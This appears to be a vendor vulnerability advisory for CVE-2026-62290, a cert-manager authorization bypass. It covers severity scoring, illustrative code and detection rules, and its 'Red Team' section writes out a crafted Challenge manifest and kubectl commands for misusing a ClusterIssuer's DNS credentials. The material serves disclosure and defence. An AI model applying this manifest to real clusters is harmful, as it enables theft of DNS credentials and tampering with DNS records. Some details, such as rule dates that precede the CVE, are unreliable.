CVE-2026-62290
Executive Summary
CVE-2026-62290 is a critical authorization bypass vulnerability in cert-manager, a popular Kubernetes add-on for managing TLS certificates. The flaw allows a namespace user with permissions to create Challenge resources under acme.cert-manager.io to bypass DNS01 solver selectors (such as dnsZones, dnsNames, and matchLabels) by directly crafting a Challenge resource with attacker-controlled spec.solver values referencing a ClusterIssuer. This can lead to unauthorized use of DNS credentials, including disclosure of sensitive API headers like X-Api-User and X-Api-Key for ACME DNS providers.
The vulnerability affects cert-manager versions 1.18.0 through 1.19.5 and 1.20.0 through 1.20.2. It has been patched in versions 1.19.6 and 1.20.3. The CVSS score is 7.3 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is significant for affected clusters.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
cert-manager is a Go-based project distributed as a Helm chart and container images. The vulnerability is in the core controller logic, not in a specific package registry (NPM, PyPI, Ruby). However, organizations using cert-manager should verify their deployment version and apply patches immediately. The supply chain risk is moderate, as the flaw is in the application logic rather than a dependency.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs API access.
- Privileges Required (PR): Low (L) – The attacker must have namespace-level access to create
Challengeresources. - User Interaction (UI): None (N) – No user interaction is required.
- Scope (S): Unchanged (U) – The impact is confined to the affected component.
- Confidentiality (C): High (H) – Disclosure of DNS provider credentials and API keys.
- Integrity (I): High (H) – Attacker can manipulate DNS records via unauthorized solver usage.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: High. The vulnerability allows a low-privileged attacker to escalate to high-impact credential disclosure and DNS manipulation.
Deep Dive & Mechanics
cert-manager uses Challenge resources to fulfill ACME DNS-01 challenges. Normally, a Challenge is created by the cert-manager controller as part of an Order and is validated to ensure it references a solver from the associated Issuer or ClusterIssuer. The vulnerability arises because the admission validation does not enforce that a Challenge resource must be tied to an Order or have an owner reference. An attacker can directly create a Challenge resource with arbitrary spec.solver values, referencing a ClusterIssuer that has DNS credentials configured.
The spec.solver field allows specifying provider settings (e.g., AWS Route53, Google Cloud DNS, Azure DNS) and DNS names. By bypassing the solver selector, the attacker can force cert-manager to use the ClusterIssuer's DNS credentials for their chosen provider and DNS names. This can lead to:
- Disclosure of
X-Api-UserandX-Api-Keyheaders for ACME DNS providers. - Unauthorized DNS record creation or modification.
- Potential man-in-the-middle attacks on TLS certificate issuance.
The root cause is a missing authorization check in the admission webhook or controller logic that validates Challenge resources.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// In controller/challenge.go or similar
func (c *Controller) processChallenge(ch *acmev1.Challenge) error {
// No validation that challenge is tied to an Order or has owner reference
solver := ch.Spec.Solver
// Directly uses solver without checking if it matches the Issuer's selectors
return c.solve(ch, solver)
}
Patched Code (simplified):
// In controller/challenge.go or similar
func (c *Controller) processChallenge(ch *acmev1.Challenge) error {
// Validate that challenge has an owner reference to an Order
if !hasOwnerReference(ch, "Order") {
return fmt.Errorf("challenge must have an owner reference to an Order")
}
// Validate that solver matches the Issuer's selectors
if !validateSolverAgainstIssuer(ch.Spec.Solver, ch.Spec.IssuerRef) {
return fmt.Errorf("solver does not match issuer selectors")
}
solver := ch.Spec.Solver
return c.solve(ch, solver)
}
The patch adds validation to ensure Challenge resources are only processed if they have an owner reference to an Order and that the solver matches the Issuer's selectors.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Kubernetes namespace with permissions to create
Challengeresources underacme.cert-manager.io. - A
ClusterIssuerwith DNS01 solver configured (e.g., using AWS Route53).
Exploitation Steps:
- Create a malicious
Challengeresource:
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
name: malicious-challenge
namespace: attacker-namespace
spec:
type: DNS-01
url: https://acme-v02.api.letsencrypt.org/acme/challenge/example
token: "dummy-token"
key: "dummy-key"
solver:
selector: {}
dns01:
route53:
region: us-east-1
hostedZoneID: Z1234567890
accessKeyID: AKIAIOSFODNN7EXAMPLE
secretAccessKeySecretRef:
name: route53-credentials
key: secret-access-key
issuerRef:
name: my-cluster-issuer
kind: ClusterIssuer
group: cert-manager.io
- Apply the resource:
kubectl apply -f malicious-challenge.yaml
- Monitor cert-manager logs for credential usage:
kubectl logs -n cert-manager deployment/cert-manager -f
Expected Outcome: cert-manager will use the ClusterIssuer's DNS credentials to process the challenge, potentially exposing API keys or allowing unauthorized DNS record manipulation.
Blue Team
Detection Steps:
- Monitor for
Challengeresources without owner references:
kubectl get challenge --all-namespaces -o json | jq '.items[] | select(.metadata.ownerReferences == null or .metadata.ownerReferences[].kind != "Order")'
- Audit
ClusterIssuerusage:
kubectl get clusterissuer -o json | jq '.items[] | {name: .metadata.name, solvers: .spec.acme.solvers}'
- Enable audit logging in Kubernetes API server to track
Challengeresource creation:
# In kube-apiserver configuration
--audit-policy-file=/etc/kubernetes/audit-policy.yaml
--audit-log-path=/var/log/kubernetes/audit.log
- Create a Kyverno or OPA policy to deny
Challengeresources without owner references:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-challenge-owner-reference
spec:
rules:
- name: require-owner-reference
match:
resources:
kinds:
- Challenge
validate:
message: "Challenge resources must have an owner reference to an Order."
pattern:
metadata:
ownerReferences:
- kind: Order
Indicators of Compromise (IOCs)
- Kubernetes API Audit Logs: Creation of
Challengeresources without anownerReferencesfield or withownerReferences[].kind != "Order". - cert-manager Controller Logs: Unexpected solver usage for DNS providers not configured in the
Issuer's selectors. - Network Traffic: Unusual DNS queries to ACME servers from pods that normally do not perform DNS-01 challenges.
- Cloud Provider Logs: Unauthorized API calls to DNS services (e.g., Route53, Cloud DNS) from Kubernetes nodes.
Detection Engineering
YARA Rule
rule cert_manager_cve_2026_62290_challenge_bypass {
meta:
description = "Detects malicious Challenge resources attempting to bypass DNS01 solver selectors"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-62290"
severity = "high"
strings:
$solver = "solver:" nocase
$dns01 = "dns01:" nocase
$clusterissuer = "ClusterIssuer" nocase
$challenge = "kind: Challenge" nocase
condition:
all of ($challenge, $clusterissuer, $solver, $dns01) and
# of ($solver) > 0
}
Sigma Rule
title: cert-manager Challenge Resource Without Owner Reference
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of Challenge resources without an owner reference to an Order, indicating potential exploitation of CVE-2026-62290.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-62290
logsource:
product: kubernetes
service: audit
detection:
selection:
objectRef.resource: "challenges"
objectRef.apiGroup: "acme.cert-manager.io"
verb: "create"
filter:
ownerReferences:
- kind: "Order"
condition: selection and not filter
falsepositives:
- Legitimate Challenge resources created by cert-manager controller (should have owner references)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-62290 cert-manager Challenge Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"/apis/acme.cert-manager.io/v1/namespaces/"; http_uri; content:"challenges"; http_uri; content:"solver"; http_client_body; content:"ClusterIssuer"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade cert-manager to version 1.19.6 or 1.20.3 (or later).
- If upgrade is not possible, restrict permissions to create
Challengeresources to only the cert-manager controller service account. - Implement admission webhooks (e.g., Kyverno, OPA) to validate
Challengeresources have owner references.
Long-term Mitigations:
- Use Kubernetes RBAC to limit who can create
Challengeresources. - Monitor audit logs for anomalous
Challengecreation. - Regularly review
ClusterIssuerconfigurations and ensure DNS credentials are rotated.
Patch Details:
- Fixed in cert-manager versions 1.19.6 and 1.20.3.
- Patches available at: https://github.com/cert-manager/cert-manager/releases
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.